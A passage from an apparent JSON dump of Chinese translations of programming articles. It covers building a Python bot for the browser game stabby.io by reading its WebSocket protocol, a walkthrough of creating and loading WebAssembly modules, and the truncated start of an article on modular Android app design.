pass\n\nws.close()\n```\n\n幸运的是，上面的程序没有让我们失望，收到了服务器消息！\n\n```\n030,day\n15xx,60|stabbybot,0|\n162,2,0\n05+36551,186.7,131.0,walking,left|+58036,23.1,122.8,walking,right|_20986,55.2,71.7,idle,left|_47394,70.9,84.9,walking,right|_58354,10.4,16.2,walking,right|_81344,61.0,27.8,walking,left|+77108,107.5,8.9,walking,left|_96763,118.8,71.7,walking,left|_23992,104.4,24.1,walking,right|+30650,118.4,8.0,idle,left|+11693,186.7,35.5,walking,left|+34643,186.7,118.3,walking,left|+65406,83.9,33.3,idle,right|+24414,186.7,136.3,walking,left|+00863,75.2,35.3,walking,left|_57248,39.0,51.3,walking,right|_98132,165.2,10.0,walking,right|_45741,179.2,5.2,walking,right|+57840,186.7,45.3,walking,left|+70676,186.7,135.7,walking,left|+39478,90.8,63.3,walking,left|_51961,166.7,138.7,idle,right|+85034,148.4,7.7,idle,right|_72926,62.4,23.7,walking,left|_25474,9.6,58.0,idle,left|0,4.0,1.0,idle,left|_52426,61.0,128.4,walking,left|_00194,67.5,96.1,walking,left|+12906,170.7,33.7,walking,right|_67508,87.2,93.3,walking,left|+51085,140.3,34.2,idle,right|_67544,170.1,100.7,idle,right|_77761,158.5,127.6,idle,left|_25113,38.4,111.2,walking,left|\n08100,20.5,227.68056,227.68056,0.0,0.0\n18t,xx,250m or less\n...\n```\n\n以上是由服务器传给客户端的消息。我们可以在登录后得到关于游戏中时间的信息：`030,day`。接着会有一些数据不断地产生： `05+36551,186.7,131.0,walking,left|+58036,23.1,122.8,walking,right|...`，这些表达全局状况的数据看上去应该是：玩家 id、坐标、状态、脸对着的方向。现在可以试着调试并对游戏的通信进行逆向工程，以理解客户端、服务器之间发送的是什么了。\n\n例如，当在游戏中杀人时会发生什么？\n\n![01-kill](https://vesche.github.io/articles/media/01-kill.png)\n\n这次我使用了 Wireshark，特别设置了过滤器，仅抓取流向`（ip.dst）`服务器的 WebSocket 流量。在杀死某人后，`10` 与玩家 id 被传给服务器。可能你还不太明白，我解释一下：发送给服务器的一切东西都由两位数字开头，我将其称为`事件代码`。总共有差不多 20 个不同的事件代码，我还没完全弄清它们分别是做什么的。不过，我可以找到一些比较重要的事件：\n\n```\nEVENTS = {\n    '03': '登录',\n    '05': '全局状况',\n    '07': '移动',\n    '09': '游戏中的时间',\n    '10': '杀',\n    '13': '被杀',\n    '14': '杀人信息',\n    '15': '状态',\n    '18': '目标'\n}\n```\n\n## 创造一个非常简单的机器人\n\n有了这些信息，我们就能构建机器人啦！\n\n```\n.\n├── main.py  - 机器人的入口文件。在此文件中会连接 stabby 的服务器，\n│              并定义主循环（main loop）。\n├── comm.py  - 处理所有消息的收发。\n├── state.py - 跟踪游戏的当前状态。\n├── brain.py - 决定机器人要做什么事。\n└── log.py   - 提供机器人可能需要的日志功能。\n```\n\n`main.py` 中的主循环会做以下几件事：\n\n*   接收服务器消息。\n*   将服务器消息传给 `comm.py` 进行处理。\n*   处理过的数据会储存在当前游戏状态（`state.py`）中。\n*   将当前游戏状态传给 `brain.py`。\n*   执行基于游戏状态做出的决策。\n\n下面让我们看看如何实现一个非常基本的**会自己移动到上个玩家被杀的位置**的机器人吧。当某人在游戏中被杀害时，其余的每个人都会受到一个类似 `14+12906,120.2,64.8,seth` 的广播消息。这个消息中，`14` 是事件代码，后面是用逗号分隔的玩家 id、x 坐标与 y 坐标，最后是杀手的名称。如果我们要走到这个位置区，要发送事件代码 `07`，后面跟着用逗号分隔的 x 与 y 坐标。\n\n首先，我们创建一个跟踪杀人信息的游戏状态类：\n\n```python\n# state.py\n\nclass GameState():\n    \"\"\"跟踪 stabbybot 的当前游戏状态。\"\"\"\n\n    def __init__(self):\n        self.game_state = {\n            'kill_info': {'uid': None, 'x': None, 'y': None, 'killer': None},\n        }\n\n    def kill_info(self, data):\n        uid, x, y, killer = data.split(',')\n        self.game_state['kill_info'] = {'uid': uid, 'x': x, 'y': y, 'killer': killer}\n```\n\n接下来，我们创建通信代码用以处理**接收**到的杀人信息（然后将其传给游戏状态类），以及将移动命令**发送**出去：\n\n```python\n# comm.py\n\ndef incoming(gs, raw_data):\n    \"\"\"处理收到的游戏数据\"\"\"\n\n    event_code = raw_data[:2]\n    data = raw_data[2:]\n\n    if event_code == '14':\n        gs.kill_info(data)\n\nclass Outgoing(object):\n    \"\"\"处理要发出的游戏数据。\"\"\"\n\n    def move(self, x, y):\n        x = x.split('.')[0]\n        y = y.split('.')[0]\n        self.ws.send('%s%s,%s' % ('07', x, y))\n```\n\n下面为决策部分。程序将通过当前的游戏状态来进行决策，如果有人被杀了，它会将我们的角色移动到那个位置去：\n\n```python\n# brain.py\n\nclass GenOne(object):\n    \"\"\"第一代 stabbybot。它现在还很蠢（笑\"\"\"\n\n    def __init__(self, outgoing):\n        self.outgoing = outgoing\n        self.kill_info = {'uid': None, 'x': None, 'y': None, 'killer': None}\n\n    def testA(self, game_state):\n        \"\"\"走到上个玩家被杀的地点去。\"\"\"\n        if self.kill_info != game_state['kill_info']:\n            self.kill_info = game_state['kill_info']\n\n            if self.kill_info['killer']:\n                print('New kill by %s! On the way to (%s, %s)!'\n                    % (self.kill_info['killer'], self.kill_info['x'], self.kill_info['y']))\n                self.outgoing.move(self.kill_info['x'], self.kill_info['y'])\n```\n\n最后更新 main 文件，它将连接服务器，并执行上面概括的主循环：\n\n```python\n# main.py\n\nimport websocket\n\nimport state\nimport comm\nimport brain\n\nws = websocket.WebSocket()\nws.connect('ws://%s:443' % server_ip, origin='http://stabby.io')\nws.send('000.0.4.3')\nws.pong('')\nws.send('03%s' % 'stabbybot')\n\n# 将类实例化\ngs = state.GameState()\noutgoing = comm.Outgoing(ws)\nbot = brain.GenOne(outgoing)\n\nwhile True:\n    # 接收服务器消息\n    raw_data = ws.recv()\n\n    # 处理收到的数据\n    comm.incoming(gs, raw_data)\n\n    # 进行决策\n    bot.testA(gs.game_state)\n\nws.close()\n```\n\n机器人运行时，将会如期运行。当有人死亡的时候，机器人会向那个死亡地点攻击。虽然不够刺激，但这是个不错的开头！现在，我们可以发送与接收游戏数据，并在游戏中完成一些特定的任务。\n\n## 创造一个体面的机器人\n\n接下来为前面创造的简单版机器人进行拓展，添加更多的功能。`comm.py` 和 `state.py` 文件现在充满了各种各样的功能，详情请查看 [stabbybot 的 GitHub repo](https://github.com/vesche/stabbybot)。\n\n现在我们将做一个可以与普通人类玩家竞争的机器人。在 stabby 中最简单的获胜方式就是保持耐心，不断走动，直到看见某人被杀，然后去杀掉那个杀人凶手。\n\n因此，我们需要机器人做下面的事：\n\n*   随机走动。\n*   检查是否有人被杀（`game_state['kill_info']`）。\n*   如果有人被杀了，就检查当前全局状况的数据（`game_state['perception']`）。\n*   确认是否某人是否离杀人地点够近，以确定杀人凶手。\n*   为了分数和荣耀去杀了那个凶手！\n\n打开 `brain.py` 编写一个 `GenTwo` 类（意为第二代）。第一步实现最简单的部分，让机器人随机走动。\n\n```python\nclass GenTwo(object):\n    \"\"\"第二代 stabbybot。看着这个小家伙到处走动吧！\"\"\"\n\n    def __init__(self, outgoing):\n        self.outgoing = outgoing\n        self.walk_lock = False\n        self.walk_count = 0\n        self.max_step_count = 600\n\n    def main(self, game_state):\n        self.random_walk(game_state)\n\n    def is_locked(self):\n        # 检查是否加锁\n        if (self.walk_lock): # 一个锁\n            return True\n        return False\n\n    def random_walk(self, game_state):\n        # 检查是否加锁\n        if not self.is_locked():\n            # 得到随机的 x、y 坐标\n            rand_x = random.randint(40, 400)\n            rand_y = random.randint(40, 400)\n            # 开始向随机的 x、y 坐标移动\n            self.outgoing.move(str(rand_x), str(rand_y))\n            # 上锁\n            self.walk_lock = True\n\n        # 检查移动是否完成\n        if self.max_step_count < self.walk_count:\n            # 解锁\n            self.walk_lock = False\n            self.walk_count = 0\n\n        # 增加走路计数器\n        self.walk_count += 1\n```\n\n上面做的是一件很重要的事情：创建了一个锁机制。由于机器人要进行许多的操作，我不希望看到机器人变得困惑，在随机走动的途中去杀人。当我们的角色开始随机行走时，会等待 600 个“步骤”（即收到的事件），然后才会再次开始随机行走。600 是通过计算得出的，从地图一角走到另一角的最大步数。\n\n接下来为我们的小狗准备肉。检查最近的杀人事件，然后与当前的全局状况数据进行比较。\n\n```python\nimport collections\n\nclass GenTwo(object):\n\n    def __init__(self, outgoing):\n        self.outgoing = outgoing\n\n        # 跟踪最近发生的杀人事件\n        self.kill_info = {'uid': None, 'x': None, 'y': None, 'killer': None}\n\n    def main(self, game_state):\n        # 优先执行\n        self.go_for_kill(game_state)\n        self.random_walk(game_state)\n\n    def go_for_kill(self, game_state):\n        # 检查是否有新的杀人事件发生\n        if self.kill_info != game_state['kill_info']:\n            self.kill_info = game_state['kill_info']\n\n            # 杀人事件发生的 x、y 坐标\n            kill_x = float(game_state['kill_info']['x'])\n            kill_y = float(game_state['kill_info']['y'])\n\n            # 用周围角色的 id、x 坐标、y 坐标创建一个 OrderedDict\n            player_coords = collections.OrderedDict()\n            for i in game_state['perception']:\n                player_x = float(i['x'])\n                player_y = float(i['y'])\n                player_uid = i['uid']\n                player_coords[player_uid] = (player_x, player_y)\n```\n\n现在在 `go_for_kill` 中，有一个 `kill_x` 、 `kill_y` 坐标，表明了最近一次杀人时间的发生地点。另外还有一个由玩家 ID、玩家 x、y 坐标组成的有序字典。当游戏中有人被杀时，有序字典将会如下所示：`OrderedDict([('+56523', (315.8, 197.5)), ('+93735', (497.4, 130.7)), ...])`。下面找出离杀人地点最近的玩家就行了。如果有玩家离杀人坐标足够近，机器人将把他们找出来！\n\n所以现在任务很清晰了，我们需要在一组坐标中找到最接近的坐标。这个方法被称为[最邻近查找](https://en.wikipedia.org/wiki/Nearest_neighbor_search)，我们可以用 [k-d trees](https://en.wikipedia.org/wiki/K-d_tree) 实现。我使用了 [SciPy](https://www.scipy.org/) 这个超帅的 Python 库，用它的 [scipy.spatial.KDTree.query](https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.KDTree.query.html#scipy.spatial.KDTree.query) 方法实现了这个功能。\n\n```python\nfrom scipy import spatial\n\n    # ...\n\n    def go_for_kill(self, game_state):\n        if self.kill_info != game_state['kill_info']:\n            self.kill_info = game_state['kill_info']\n            self.kill_lock = True\n\n            kill_x = float(game_state['kill_info']['x'])\n            kill_y = float(game_state['kill_info']['y'])\n\n            player_coords = collections.OrderedDict()\n            for i in game_state['perception']:\n                player_x = float(i['x'])\n                player_y = float(i['y'])\n                player_uid = i['uid']\n                player_coords[player_uid] = (player_x, player_y)\n\n            # 找到距击杀坐标最近的玩家\n            tree = spatial.KDTree(list(player_coords.values()))\n            distance, index = tree.query([(kill_x, kill_y)])\n\n            # 当距离某玩家足够近时进行击杀\n            if distance < 10:\n                kill_uid = list(player_coords.keys())[int(index)]\n                self.outgoing.kill(kill_uid)\n```\n\n如果你想看完整的策略，[这儿是 stabbybot 中 brain.py 的完整代码](https://github.com/vesche/stabbybot/blob/master/stabbybot/brain.py).\n\n现在让我们运行机器人，看看它表现如何：\n\n```bash\n$ python stabbybot/main.py -s <server_ip> -u stabbybot\n\n[+] MOVE: (228, 56)\n[+] STAT: [('sam5', '2146'), ('jjkiller', '397'), ('QWERTY', '393'), ('N-chan', '240'), ('stabbybot', '0')]\n[+] KILL: jjkiller (62.798412, 16.391998)\n[+] STAT: [('sam5', '2146'), ('jjkiller', '407'), ('QWERTY', '393'), ('N-chan', '240'), ('stabbybot', '0')]\n[+] KILL: N-chan (322.9627, 235.68994)\n[+] STAT: [('sam5', '2146'), ('jjkiller', '407'), ('QWERTY', '393'), ('N-chan', '250'), ('stabbybot', '0')]\n[+] KILL: jjkiller (79.39742, 11.73037)\n[+] STAT: [('sam5', '2146'), ('jjkiller', '417'), ('QWERTY', '393'), ('N-chan', '250'), ('stabbybot', '0')]\n[+] KILL: QWERTY (241.24649, 253.66882)\n[+] STAT: [('sam5', '2146'), ('QWERTY', '505'), ('jjkiller', '417'), ('stabbybot', '0')]\n[+] KILL: sam5 (91.02979, 41.00656)\n[+] STAT: [('sam5', '2156'), ('QWERTY', '505'), ('jjkiller', '417'), ('stabbybot', '0')]\n[+] MOVE: (287, 236)\n[+] KILL: jjkiller (100.214806, 36.986927)\n[+] STAT: [('jjkiller', '1006'), ('QWERTY', '505'), ('stabbybot', '0')]\n\n... snip (10 minutes later)\n\n[+] ASSA: _95181\n[+] STAT: [('Mr.Stabb', '778'), ('QWERTY', '687'), ('stabbybot', '565'), ('fire', '408'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')]\n[+] KILL: stabbybot (159.09984, 218.41016)\n[+] ASSA: 0\n[+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')]\n[+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('fire', '306'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')]\n[+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('fire', '306'), ('z', '37'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')]\n[+] MOVE: (245, 287)\n[+] KILL: fire (194.04352, 68.50006)\n[+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('fire', '316'), ('z', '37'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')]\n[+] TOD: night\n[+] KILL: Guest72571 (212.10252, 150.89288)\n[+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('fire', '316'), ('z', '37'), ('Guest72571', '10'), ('ff', '0'), ('shako', '0')]\n[-] You have been killed.\nclose status: 12596\n```\n\n结果还不错。机器人大约存活了 10 分钟，已经很了不起了。它得了 717 分，在被杀掉的时候排行第二！\n\n以上就是本文的全部内容！如果你想找个有趣的编程项目，可以去做做 HTML5 游戏的机器人，你将获得无穷的乐趣，并能很好地练习网络分析、逆向工程、编程、算法、AI 等各种能力。希望能看到你的创作！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/creating-and-working-with-webassembly-modules.md",
    "content": "> * 原文地址：[Creating and working with WebAssembly modules](https://hacks.mozilla.org/2017/02/creating-and-working-with-webassembly-modules/)\n> * 原文作者：本文已获作者 [Lin Clark](https://code-cartoons.com/@linclark) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [xilihuasi](https://github.com/xilihuasi)\n> * 校对者：[Tina92](https://github.com/Tina92)、[zhouzihanntu](https://github.com/zhouzihanntu)\n\n# 创建和使用 WebAssembly 组件\n**这是 WebAssembly 系列文章的第四部分。如果你还没阅读过前面的文章，我们建议你[从头开始](https://github.com/xitu/gold-miner/blob/master/TODO/a-cartoon-intro-to-webassembly.md)。**\n\nWebAssembly 是一种不同于 JavaScript 的在 web 页面上运行程序语言的方式。以前当你想在浏览器上运行代码来实现 web 页面不同部分的交互时，你唯一的选择就是 JavaScript。\n\n因此当人们谈论 WebAssembly 运行迅速时，合理的比较对象就是 JavaScript。但这并不意味着你必须在 WebAssembly 和 JavaScript 二者中选择一个使用。\n\n事实上我们希望开发者在同一应用中同时使用 WebAssembly 和 JavaScript。即使你不亲自写 WebAssembly 代码，你也可以使用它。\n\nWebAssembly 组件定义的函数可以在 JavaScript 中使用。因此，就像现在你可以从 npm 上下载一个 lodash 这样的组件并且根据它的 API 调用方法一样，在未来你同样可以下载 WebAssembly 组件。\n\n那么让我们看看如何创建 WebAssembly 组件，以及如何在 JavaScript 中使用这些组件吧。\n\n## WebAssembly 处于哪个环节？\n\n在上一篇关于[汇编](https://github.com/xitu/gold-miner/blob/master/TODO/a-crash-course-in-assembly.md)的文章里，我谈到过编译器怎么提取高级程序语言并且把它们翻译成机器码。\n\n![Diagram showing an intermediate representation between high level languages and assembly languages, with arrows going from high level programming languages to intermediate representation, and then from intermediate representation to assembly language](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-01-langs09-500x306.png)\n\nWebAssembly 对应这张图片的哪个部分？\n\n你可能认为它只不过是又一个目标汇编语言。某种程度上是对的，不同之处在于那些语言(x86,ARM)中每个都对应一个特定的机器架构。\n\n当你通过 web 向用户的机器上发送要执行的代码时，你并不知道你的代码将要在哪种目标架构上运行。\n\n所以 WebAssembly 和其他的汇编有些细微的差别。它是概念机的机器语言，而非真实的物理机。\n\n正因如此，WebAssembly 指令有时也被称为虚拟指令。它们比 JavaScript 源码有更直接的机器码映射。它们代表一类可以在常见的流行硬件上高效执行的指令集合。但是它们并不直接映射某一具体硬件的特定机器码。\n\n![Same diagram as above with WebAssembly inserted between the intermediate representation and assembly](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-02-langs08-500x326.png)\n\n浏览器下载 WebAssembly 后，它就能从 WebAssembly 转成目标机器的汇编码。\n\n## 编译成 .wasm\n\nLLVM 是当前对 WebAssembly 支持最好的编译工具链。很多前后端编译工具都可以嵌入 LLVM 中。\n\n> 注：大部分 WebAssembly 组件开发者用 C 和 Rust 这样的语言编写代码，然后编译成 WebAssembly，但仍有其他的方法来创建 WebAssembly 组件。比如，有一个实验性的工具帮你[使用 TypeScript 构建 WebAssembly 组件](https://github.com/rsms/wasm-util)，或者你可以[直接在 WebAssembly 的文本表示上编码](https://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format)。\n\n比如说我们想把 C 编译成 WebAssembly。我们可以使用 clang 编译器前端把 C 编译成 LLVM 中介码。一旦它处于 LLVM 的中间层，LLVM 编译它，LLVM 就可以展现一些性能优化。\n\n要把 LLVM IR（[中介码](https://en.wikipedia.org/wiki/Intermediate_representation)）编译成 WebAssembly，我们需要一个后端支持。在 LLVM 项目中有一个这类后端正在开发中。这个后端项目已经接近完成并且应该很快就会定稿。然而，现在使用它还会有不少问题。\n\n目前有一个稍微容易使用的工具叫 Emscripten。他有自己的后端，可以通过编译成其他对象(称为 asm.js)然后再转换成 WebAssembly 的方式来产生 WebAssembly。好像它底层仍旧使用 LLVM，因此你可以在 Emscripten 中切换这两种后端。\n\n![Diagram of the compiler toolchain](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-03-toolchain07-500x411.png)\n\nEmscripten 包含了许多附加工具和库来支持移植整个 C/C++ 代码库，因此它更像一个 SDK 而非编译器。举个例子，系统开发人员习惯于有一个文件系统用来读写，所以 Emscripten 可以使用 IndexedDB 模拟一个文件系统。\n\n忽略你已经使用的工具链，最后得到的结果就是一个后缀名为 .wasm 的文件。下面我将着重解释 .wasm 文件的结构。首先，我们先看看怎样在JS中使用 .wasm 文件。\n\n## 在 JavaScript 中载入一个 .wasm 组件\n\n这个 .wasm 文件是一个 WebAssembly 组件，它可以在 JavaScript 中载入。在此情景下，载入过程稍微有些复杂。\n\n    functionfetchAndInstantiate(url, importObject) {\n      return fetch(url).then(response =>\n        response.arrayBuffer()\n      ).then(bytes =>\n        WebAssembly.instantiate(bytes, importObject)\n      ).then(results =>\n        results.instance\n      );\n    }\n\n你可以在[我们的文档](https://developer.mozilla.org/en-US/docs/WebAssembly)中深入了解这部分内容。\n\n我们致力于让这个过程变得更容易。我们期望改进工具链，整合已存在的像 webpack 这样的模块打包工具以及类似 SystemJS 的动态加载器。我们相信载入 WebAssembly 组件可以像载入 JavaScript 组件一样简单。\n\n不过，WebAssembly 组件和 JS 组件有一个显著的区别。目前，WebAssembly 函数只能使用数字（整型或浮点型数字）作为参数和返回值。\n\n![Diagram showing a JS function calling a C function and passing in an integer, which returns an integer in response](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-04-memory04-500x93.png)\n\n对于更加复杂的数据类型，如字符串，你必须使用 WebAssembly 组件存储器。\n\n像 C，C++，和 Rust 这些更高性能的语言倾向于手动管理内存。如果你大部分时间都在使用 JavaScript，也许对直接访问存储器的操作不熟悉。WebAssembly 组件存储器模拟了你在这些语言中会看到的堆。\n\n为了实现这个功能，它使用了 JavaScript 中的类型化数组(ArrayBuffer)。类型化数组是存放字节的数组。数组的索引就是对应的存储器地址。\n\n如果想要在 JavaScript 和 WebAssembly 中传递字符串，你需要把这些字符转换成他们的字符码常量。然后把这些写入存储器阵列。既然索引是整数，那么单个索引值就可以传入 WebAssembly 函数中。这样字符串中第一个字符的索引就可以被当成一个指针使用。\n\n![Diagram showing a JS function calling a C function with an integer that represents a pointer into memory, and then the C function writing into memory](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-05-memory12-500x400.png)\n\n几乎所有想要开发供 web 开发者使用的 WebAssembly 组件的开发者，都会为组件创建一个包装器。这样以来，你作为组件的消费者并不需要了解内存管理。\n\n如果想了解更多的话，查看我们关于[使用 WebAssembly 内存](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/WebAssembly/Memory)的文档。\n\n## .wasm 文件结构\n\n如果你使用高级语言来编写代码然后把它编译成 WebAssembly，你不必知道 WebAssembly 组件的结构。但是它可以帮助你理解其基本原理。\n\n如果你之前没有了解这些基本原理，我们建议你先阅读 [汇编文章](https://github.com/xitu/gold-miner/blob/master/TODO/a-crash-course-in-assembly.md) (part 3 of the series)。\n\n下面是一个 C 函数，我们将把它转成 WebAssembly：\n\n    int add42(int num) {\n      return num + 42;\n    }\n    \n你可以使用 [WASM Explorer](http://mbebenita.github.io/WasmExplorer/) 来编译这个函数。\n\n如果你打开 .wasm 文件（假设你的编辑器支持显示），你将看到类似这样的内容：\n\n    00 61 73 6D 0D 00 00 00 01 86 80 80 80 00 01 60\n    01 7F 01 7F 03 82 80 80 80 00 01 00 04 84 80 80\n    80 00 01 70 00 00 05 83 80 80 80 00 01 00 01 06\n    81 80 80 80 00 00 07 96 80 80 80 00 02 06 6D 65\n    6D 6F 72 79 02 00 09 5F 5A 35 61 64 64 34 32 69\n    00 00 0A 8D 80 80 80 00 01 87 80 80 80 00 00 20\n    00 41 2A 6A 0B\n\n\n这是组件的“二进制”表示法。我把二进制加上引号是因为它通常显示的是十六进制符号，但这很容易转换成二进制符号，或者人类可读的格式。\n\n举个例子，下图是 `num + 42` 的几种表现形式。\n\n![Table showing hexadecimal representation of 3 instructions (20 00 41 2A 6A), their binary representation, and then the text representation (get_local 0, i32.const 42, i32.add)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-06-hex_binary_asm01-500x254.png)\n\n### 代码如何运行：堆栈机\n\n如果你想知道的话，下图是执行的一些指令说明。\n\n![Diagram showing that get_local 0 gets value of first param and pushes it on the stack, i32.const 42 pushes a constant value on the stack, and i32.add adds the top two values from the stack and pushes the result](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-07-hex_binary_asm02-500x175.png)\n\n你可能注意到了 `add` 操作并没有说明他的值应该从哪里来。这是因为 WebAssembly 是堆栈机的一个范例。这意味着一个操作所需的所有值在操作执行之前都在栈中排队。\n\n例如 `add` 这类的操作指导它们需要多少值。如果 `add` 需要两个值，它将从栈顶取出两个值。这意味着 `add` 指令可以很短（单个字节），因为指令不需要指定源或者目的寄存器。这减少了 .wasm 文件的大小，也意味着下载的耗时更短。\n\n即使 WebAssembly 就堆栈机而言是特定的，但那不是其在物理机上的工作方式。当浏览器把 WebAssembly 转化成其运行机器上对应的机器码时，将会用到寄存器。因为 WebAssembly 代码不指定寄存器，所以浏览器在当前机器上能更灵活的去使用最佳寄存器分配。\n\n### 组件的 sections\n\n除了 `add42` 函数自身，.wasm 文件还有其他部分。那就是 sections。一些 sections 对任何组件都是必需的，而有一些是可选的。\n\n必选项：\n1. **类型(Type)**。包括在该组件中定义的函数签名以及任何引入的函数。\n2. **函数(Function)**。给每一个在该组件中定义的函数一个索引。\n3. **代码(Code)**。该组件中定义的每一个函数的实际函数体。\n\n可选项：\n1. **导出(Export)**。使函数，内存，表以及全局变量对其他 WebAssembly 组件和 JavaScript 可用。这使独立编译的组件可以被动态链接在一起。这就是 WebAssembly 的 .dll 版本。\n2. **导入(Import)**。从其他 WebAssembly 组件或 JavaScript 中导入指定的函数，内存，表以及全局变量。\n3. **启动(Start)**。当 WebAssembly 组件载入时自动运行的函数(基本上类似一个主函数)。\n4. **全局变量(Global)**。为组件声明全局变量。\n5. **内存（Memory）**。定义组件将使用到的内存空间。\n6. **表（Table）**。使把值映射到 WebAssembly 组件外部成为可能，比如 JavaScript 对象。这对于允许间接函数调用相当有用。\n7. **数据（Data）**。初始化导入或本地内存。\n8. **元素（Element）**。初始化导入或本地的表。\n\n更多关于 sections 的阐释，这有一篇深度好文[解释这些 sections 如何运行](https://rsms.me/wasm-intro)。\n\n## 接下来\n\n现在你知道怎样使用 WebAssembly 组件了，让我们看看[为什么 WebAssembly 这么快](https://github.com/xitu/gold-miner/blob/master/TODO/what-makes-webassembly-fast.md)。\n"
  },
  {
    "path": "TODO/creating-highly-modular-android-apps.md",
    "content": "> * 原文链接: [Creating Highly Modular Android Apps](https://medium.com/stories-from-eyeem/creating-highly-modular-android-apps-933271fbdb7d#.oez87prl8)\n* 原文作者 : [Ronaldo Pace](https://medium.com/@ronaldo.pace?source=post_header_lockup)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 :[DeadLion](https://github.com/DeadLion)\n* 校对者 :[Graning](https://github.com/Graning), [Kulbear](https://github.com/Kulbear)\n\n# 如何创建高度模块化的 Android 应用\n\n>“单一职责原则规定，每个模块或类应该对软件提供的某单一功能负责。”([en.wikipedia.org/wiki/Single_responsibility_principle](https://en.wikipedia.org/wiki/Single_responsibility_principle))\n\nAndroid 中构建 UI 的职责通常委派给一个类（比如 Activity、Fragment 或 View/Presenter）。这通常涉及到以下任务：\n\n- 填充 View（xml 布局）\n- View 配置（运行时参数、布局管理、适配）\n- 数据源连接（DB 或者 数据存储的监听/订阅）\n- 加载缓存数据\n- 新数据的按需请求分派\n- 监听用户事件（tap、scroll）然后响应事件\n\n除此之外，Activity 和 Fragment 通常还会委派一些额外的职责：\n\n- App 导航\n- Activity 结果处理\n- Google Play 服务连接和交互\n- 过渡动画配置\n\n这不是单一职责，当前的处理方式包括了继承或组合，这太复杂了。\n\n![](https://cdn-images-1.medium.com/max/800/1*PYTSQy1jyMgZdKzKAK-ImA.gif)\n\n### 继承地狱\n\n>“当一个对象或类是基于另一个对象或类，这就是继承。它是为了代码重用，并允许原始软件通过公共类和接口单独扩展。这些对象或类的关系，通过继承形成一种层级。”\n ([en.wikipedia.org/wiki/Inheritance_(object-oriented_programming)](https://en.wikipedia.org/wiki/Inheritance_%28object-oriented_programming%29))\n\n对于这种复杂的结构，如 UI 构建，继承能让它很快变成一坨 x。看看下面的模拟案例：\n\n![](https://cdn-images-1.medium.com/max/800/1*TItgXrS7WEDGeu5pZNjNzw.png)\n\n据此继承树构建代码会很快变得难于管理 （\"继承地狱\"）。要避免这种情况，开发人员应遵循\"组合而非继承\"的原则。\n\n### 组合优于继承\n\n\n>“在面向对象编程中有个原则，组合替代继承（组合复用原则）。类应该通过组合实现行为多态和代码复用（通过包含其他类的实例来实现所需的功能）。”([en.wikipedia.org/wiki/Composition_over_inheritance](http://en.wikipedia.org/wiki/Composition_over_inheritance))\n\n\n组合优于继承原则是个很棒的想法，无疑可以帮助我们解决上面提出的问题。然而，几乎没有库、示例代码或者教程来教你如何在 Android 上实现这原则。一种实现它的简单方法就是使用运行时参数（又叫 intent extras）来组合功能，但是，仍会导致形成一个巨大的难以管理的怪物类。\n\n很荣幸，这里要提及两个库， [LightCycle](https://www.github.com/soundcloud/lightcycle) 和 [CompositeAndroid](https://www.github.com/passsy/CompositeAndroid)。两者都紧紧的绑定在 Activity 或 Fragment，抛开其他诸如 MVP 或 MVVM 的现代模式，都不是很灵活，因为它们仅仅依赖 Android 原生回调（无法添加额外回调），也不支持模块间通信。\n\n### 修饰模式\n\n开发者们每天都要面对这些提出的问题， EyeEm Android 团队开始开发一种模式，以一种更加灵活的方式来解决该问题，而不是直接附加到一个组件上如 Activity 或 Fragment 。该模式可以用来对任何开发者希望通过组合来模块化的类进行解耦。\n\n该模式和 LightCycle/Composite 的方法非常相似，由三个类组成：\n\n- 基本类，称为 DecoratedObject（装饰对象），调度其继承和额外的方法给一个调度对象。\n- DecoratorsObject 实例化，保存所有组成对象的列表并分派方法给它们。\n- Decorator 抽象类，所有方法和额外接口都只声明未实现。由创建此类的开发人添加单一职责的具体实现。\n\n使用这种方式开发人员获得的直接好处\n\n- 职责分离\n- 功能动态运行置换\n- 并行开发\n\n为了让开发者能毫无障碍的实现上述模式，一个在编译时生成代码的工具被创造了出来，接下来我们会看到，将之前提交的那些职责分解成单一职责类是多么简单。\n\n### Decorator 库\n\n#### 如何三步创建你自己的模块化单一职责应用\n\n要实现装饰模式首先创建应生成的代码蓝图，在这里我们将使用一个带 RecyclerView 的 Activity 